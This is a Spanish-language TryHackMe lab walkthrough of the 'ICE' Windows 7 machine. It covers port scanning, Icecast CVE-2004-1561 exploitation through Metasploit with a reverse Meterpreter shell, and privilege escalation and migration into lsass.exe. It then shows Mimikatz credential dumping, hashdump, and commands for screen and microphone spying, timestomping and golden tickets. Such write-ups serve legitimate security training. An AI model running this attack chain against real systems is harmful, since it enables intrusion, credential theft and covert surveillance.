ICE - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeWindowsEasy
ICE - TryHackMe

📚 Esta publicación pertenece a la colección:

ICE - TryHackMe Walkthrough

Bienvenido a mi writeup de ICE de TryHackMe. Una máquina Windows de dificultad fácil que combina descubrimiento de vulnerabilidades conocidas, explotación mediante Metasploit, escalada de privilegios y técnicas de post-explotación usando Mimikatz. Este laboratorio es ideal para aprender a trabajar con Meterpreter y comprender cómo los privilegios especiales de Windows pueden llevar a la toma completa del sistema.

Room: ICE
Dificultad: Easy
OS: Windows 7 (x64)
Objetivo: Capturar las flags y explotar completamente la máquina

🎯 Información del Objetivo

IP Target: 10.80.188.5

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Comienzo verificando que la máquina está activa:

ping -c1 10.80.188.5

Obtengo respuesta correctamente, indicando que el host está disponible. El TTL observado (alrededor de 128) indica que posiblemente sea Windows, corroborando la información sobre el sistema operativo.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Realizo un escaneo SYN con detección de versiones para identificar todas los servicios abiertos:

nmap -sSV 10.80.188.5
  • -sS → SYN scan (stealth)
  • -sV → Detección de versiones

Resultado nmap del escaneo de puertos

El escaneo revela un conjunto interesante de servicios:

  • Puerto 3389 → RDP (Microsoft Remote Desktop)
  • Puerto 8000 → Icecast streaming media server
  • Puertos 135, 139, 445 → SMB/RPC estándar de Windows
  • Puertos 49152-49160 → RPC adicionales (dinámicos)

El nombre del host es DARK-PC, observando que probablemente es Windows 7 por la arquitectura.

📁 Fase 2: Enumeración

Exploración del Servicio Icecast

El puerto 8000 tiene un servicio Icecast streaming media server, que es un servidor de medios poco común en máquinas corporativas. Esto sugiere que podría ser un vector de ataque interesante.

Obtengo información del servidor mediante un banner grab con netcat:

nc -nv 10.80.188.5 8000
▶ output
WWW-Authenticate: Basic realm="Icecast2 Server"

La respuesta indica que estamos ante Icecast2, un servidor de streaming conocido por tener vulnerabilidades. El nombre sugiere versión 2.x.

Búsqueda de Vulnerabilidades

Sabiendo que se trata de Icecast 2, busco vulnerabilidades conocidas. Basándome en la información y el hecho de que tiene un módulo en Metasploit, deduzco que se trata de CVE-2004-1561, una vulnerabilidad de buffer overflow en versiones Icecast 2.0 y 2.0.1.

Consulto CVE Details para confirmar:

CVE-2004-1561 en CVE Details

El Impact Score es de 6.4, con un módulo de explotación disponible en Metasploit: exploit/windows/http/icecast_header.

🚀 Fase 3: Explotación

Explotación con Metasploit

Lanzo Metasploit y busco el módulo específico:

msfconsole
> search icecast
> use exploit/windows/http/icecast_header

Configuro el módulo con la IP objetivo y mi IP local para recibir la conexión reversa:

> set RHOSTS 10.80.188.5
> set LHOST 192.168.X.X
> exploit
▶ output
[*] Started reverse TCP handler on 192.168.X.X:4444
[*] Sending crafted header...
[+] Exploit sent successfully.
[*] Meterpreter session 1 opened

¡Obtengo una sesión Meterpreter! Estoy dentro de la máquina con acceso a través de ese servicio.

Análisis de Procesos

Listo los procesos para entender el contexto:

ps

Veo que Icecast2.exe está corriendo bajo el usuario dark. A partir de aquí, necesito escalar mis privilegios.

⬆️ Fase 4: Escalada de Privilegios

Recopilación de Información del Sistema

Ejecuto sysinfo para entender la arquitectura y versión del sistema:

sysinfo
▶ output
OS:          Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture: x64

Sistema de 64 bits con Windows 7 SP1. Esta información es crítica para seleccionar exploits locales compatibles.

Sugerencia Automática de Exploits

Metasploit tiene un módulo de post-explotación que escanea el sistema y sugiere vulnerabilidades locales de escalada. Muevo la sesión actual al background y ejecuto:

> background
> use post/multi/recon/local_exploit_suggester
> set SESSION 1
> set LHOST 192.168.X.X
> exploit

El módulo examina el sistema y me sugiere varios exploits disponibles. Tras ejecutar uno de ellos, obtengo privilegios elevados.

Identificación de Privilegios Especiales

Con los nuevos privilegios, ejecuto getprivs para ver qué capacidades especiales tengo:

getprivs

Observo que tengo el privilegio SeTakeOwnershipPrivilege, que me permite tomar posesión de archivos del sistema y potencialmente migrar a procesos con mayores privilegios.

Migración a Proceso SYSTEM

Listo nuevamente los procesos buscando uno que corra como NT AUTHORITY\SYSTEM:

ps

Encuentro lsass.exe (Local Security Authority Subsystem Service) con PID elevado, corriendo como SYSTEM. Migro mi Meterpreter a ese proceso:

migrate 712
▶ output
[*] Migrating to process ID: 712
[+] Successfully migrated to process 712

Verifico mi usuario actual:

getuid
▶ output
Server username: NT AUTHORITYSYSTEM

¡Ahora tengo permisos de sistema completo (SYSTEM)!

🚩 Fase 5: Post-Explotación

Extracción de Credenciales con Kiwi (Mimikatz)

Cargo la extensión de Mimikatz (kiwi) en Meterpreter:

load kiwi

Con Mimikatz cargado, extraigo todas las credenciales en caché del sistema:

creds_all
▶ output
[+] Dumping credentials...
dark:Password01!

He extraído la contraseña del usuario dark: Password01!

Credenciales extraídas con Mimikatz

Extracción de Hashes

Para obtener todos los hashes de las credenciales del sistema (incluido el hash NT del usuario local), ejecuto:

hashdump

Esto extrae los hashes SAM de todos los usuarios locales del sistema.

Otras Capacidades Post-Explotación

Con acceso total al sistema, tengo acceso a múltiples capacidades ofensivas:

# Grabar una sesión en vivo de pantalla
screenshare

# Grabar el micrófono del usuario
record_mic

# Modificar timestamps de archivos para encubrir actividad
timestomp

# Crear golden tickets para persistencia con Kerberos
golden_ticket_create

Estas técnicas son la base de la post-explotación en un entorno Windows comprometido, permitiendo espionaje, modificación de auditoría y persistencia a largo plazo.

📊 Resumen

Cadena de Ataque

nmap → Detección de Icecast 2.0 en puerto 8000 → Banner grab → CVE-2004-1561 identificado → Metasploit exploit/windows/http/icecast_header → Meterpreter como "dark" → local_exploit_suggester → SeTakeOwnershipPrivilege → Migración a lsass.exe (SYSTEM) → Kiwi Mimikatz → Extracción de credenciales → Hashdump → Post-explotación completa

Herramientas Utilizadas

  • nmap — Escaneo de puertos y detección de versiones
  • netcat — Banner grabbing manual
  • Metasploit Framework — Explotación y post-explotación

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.